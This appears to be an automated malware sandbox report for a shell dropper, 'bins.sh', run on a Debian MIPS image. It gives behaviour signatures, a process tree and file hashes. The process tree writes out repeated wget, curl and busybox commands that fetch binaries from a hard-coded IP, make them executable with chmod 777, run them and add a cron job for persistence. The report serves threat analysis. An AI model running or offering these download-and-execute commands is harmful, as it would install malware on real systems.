Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04-11-2024 17:42

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    a0dad1a573f72a6534abb219fcb609c3

  • SHA1

    140b3643fa1f39b4149ba4ecf7b68c13e59fad26

  • SHA256

    79055bdb682b5b7fc371766063624ec6392ac3d09f2e698e07af4cf6cc6efa3a

  • SHA512

    736c9b38ddeedc4ad6791d7a4cbcb0c965a04cfefdd19cf1c6efe08fa3a8cd880a18b7b0300a919879507ccac630c74b5f2c2ecb3446b776592495dd0a703401

  • SSDEEP

    192:1amOZ5azCQNhdT4EnSEnSEnkEnsQEnrEnNtV92ypQbaEnSEnSEnkEnsQEnrEnFtg:1amOZ5azCQRx331CWZQbP331CW9hamOd

Malware Config

Signatures

  • Contacts a large (1416) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:696
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:703
        • /usr/bin/wget
          wget http://216.126.231.240/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
          • Writes file to tmp directory
          PID:705
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
          • Writes file to tmp directory
          PID:718
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
          • Writes file to tmp directory
          PID:726
        • /bin/chmod
          chmod 777 rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
          • File and Directory Permissions Modification
          PID:728
        • /tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          ./rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
          • Executes dropped EXE
          PID:729
        • /bin/rm
          rm rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
          2⤵
            PID:731
          • /usr/bin/wget
            wget http://216.126.231.240/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
            • Writes file to tmp directory
            PID:732
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
            • Writes file to tmp directory
            PID:733
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
            • Writes file to tmp directory
            PID:734
          • /bin/chmod
            chmod 777 czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
            • File and Directory Permissions Modification
            PID:735
          • /tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            ./czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
            • Executes dropped EXE
            PID:736
          • /bin/rm
            rm czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
            2⤵
              PID:738
            • /usr/bin/wget
              wget http://216.126.231.240/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
              • Writes file to tmp directory
              PID:739
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:740
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
              • Writes file to tmp directory
              PID:747
            • /bin/chmod
              chmod 777 qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
              • File and Directory Permissions Modification
              PID:750
            • /tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              ./qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
              • Executes dropped EXE
              PID:752
            • /bin/rm
              rm qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
              2⤵
                PID:755
              • /usr/bin/wget
                wget http://216.126.231.240/bins/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                2⤵
                • Writes file to tmp directory
                PID:756
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:763
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                2⤵
                • Writes file to tmp directory
                PID:776
              • /bin/chmod
                chmod 777 bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                2⤵
                • File and Directory Permissions Modification
                PID:780
              • /tmp/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                ./bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                2⤵
                • Executes dropped EXE
                PID:781
              • /bin/rm
                rm bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
                2⤵
                  PID:786
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
                  2⤵
                  • Writes file to tmp directory
                  PID:788
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:797
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
                  2⤵
                  • Writes file to tmp directory
                  PID:803
                • /bin/chmod
                  chmod 777 lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
                  2⤵
                  • File and Directory Permissions Modification
                  PID:804
                • /tmp/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
                  ./lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
                  2⤵
                  • Executes dropped EXE
                  PID:805
                • /bin/rm
                  rm lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB
                  2⤵
                    PID:807
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
                    2⤵
                    • Writes file to tmp directory
                    PID:808
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:809
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
                    2⤵
                    • Writes file to tmp directory
                    PID:810
                  • /bin/chmod
                    chmod 777 ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
                    2⤵
                    • File and Directory Permissions Modification
                    PID:811
                  • /tmp/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
                    ./ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
                    2⤵
                    • Executes dropped EXE
                    PID:812
                  • /bin/rm
                    rm ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI
                    2⤵
                      PID:814
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
                      2⤵
                      • Writes file to tmp directory
                      PID:815
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
                      2⤵
                      • Writes file to tmp directory
                      PID:817
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
                      2⤵
                      • Writes file to tmp directory
                      PID:827
                    • /bin/chmod
                      chmod 777 6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
                      2⤵
                      • File and Directory Permissions Modification
                      PID:830
                    • /tmp/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
                      ./6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:832
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:834
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:836
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:837
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:839
                          • /bin/rm
                            rm 6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK
                            2⤵
                              PID:841
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
                              2⤵
                                PID:893
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
                                2⤵
                                  PID:932
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:933
                                • /bin/chmod
                                  chmod 777 pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:938
                                • /tmp/pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
                                  ./pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
                                  2⤵
                                  • Executes dropped EXE
                                  PID:939
                                • /bin/rm
                                  rm pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf
                                  2⤵
                                    PID:940
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/0WgQjKj7tbeXTnPd1A7tiV0iZCWuMPZfS0
                                    2⤵
                                      PID:942

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • /tmp/6PRUVMpNAKQMmcyJVPWqPtmoMaytnHV8dK

                                    Filesize

                                    151KB

                                    MD5

                                    6c583043d91c55aa470c08c87058e917

                                    SHA1

                                    abf65a5b9bba69980278ad09356e53de8bb89439

                                    SHA256

                                    2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                    SHA512

                                    82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                  • /tmp/ZSJgcV0iwJrTDvpVbq9NOM46Nvt9yLVqvI

                                    Filesize

                                    98KB

                                    MD5

                                    5141342d0df8699fa32a6b066a0c592e

                                    SHA1

                                    8157673225bd5182f16215e2aa823a25ca2d4fbc

                                    SHA256

                                    54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                    SHA512

                                    d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                  • /tmp/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw

                                    Filesize

                                    151KB

                                    MD5

                                    3c90d5820bddcf7c5d1bd21dfa49d958

                                    SHA1

                                    5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                    SHA256

                                    bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                    SHA512

                                    54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                  • /tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk

                                    Filesize

                                    107KB

                                    MD5

                                    eb9c3a0de91fcf16ba17cb24608df68c

                                    SHA1

                                    09d95a7d70d5e115d103be51edff7c498d272fac

                                    SHA256

                                    dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                    SHA512

                                    9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                  • /tmp/lMb93O3SjYM1n6xXH7XsMUrXJ08gE2jTZB

                                    Filesize

                                    99KB

                                    MD5

                                    9438d9bc392bcf300a5583b6df5bc8f6

                                    SHA1

                                    375a6ae34b516f6f3eeea8030c4084f585017efa

                                    SHA256

                                    68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                    SHA512

                                    1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                  • /tmp/pzPUvu5haFMlZ75HAvTvfb7MTKGouAV7cf

                                    Filesize

                                    111KB

                                    MD5

                                    701e7a55a4f3650f5feee92a9860e5fc

                                    SHA1

                                    6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                    SHA256

                                    ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                    SHA512

                                    7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                  • /tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran

                                    Filesize

                                    119KB

                                    MD5

                                    1b166b95f9cb4b079ef1b9ec8363ddf3

                                    SHA1

                                    0d8eb08add467b3b5474f9b25909297fe7c2839c

                                    SHA256

                                    94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                    SHA512

                                    983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                  • /tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt

                                    Filesize

                                    122KB

                                    MD5

                                    cd3d4b9c643e5b473fb4d88ed05f0716

                                    SHA1

                                    64ee7a97418583d759eaea8000890cc3bae1b5f4

                                    SHA256

                                    0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                    SHA512

                                    164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                  • /var/spool/cron/crontabs/tmp.rVTjye

                                    Filesize

                                    210B

                                    MD5

                                    a55bc78aaffb23d331aa644667096d61

                                    SHA1

                                    5ed39d68f48cbca6a9fef2ae885c4c830b15ce23

                                    SHA256

                                    eecff056147438fdf086dd4dab26a98219bc75f60a07226dce5d0826a40ecc60

                                    SHA512

                                    bafa7109e6c17ff7572406da0ad38df4df750c746c3528a4f8d07c4472ad958a777ad4eede0d0a1e445d6ba4a347d1e630f1015449017f2230f989b7b7d7d74c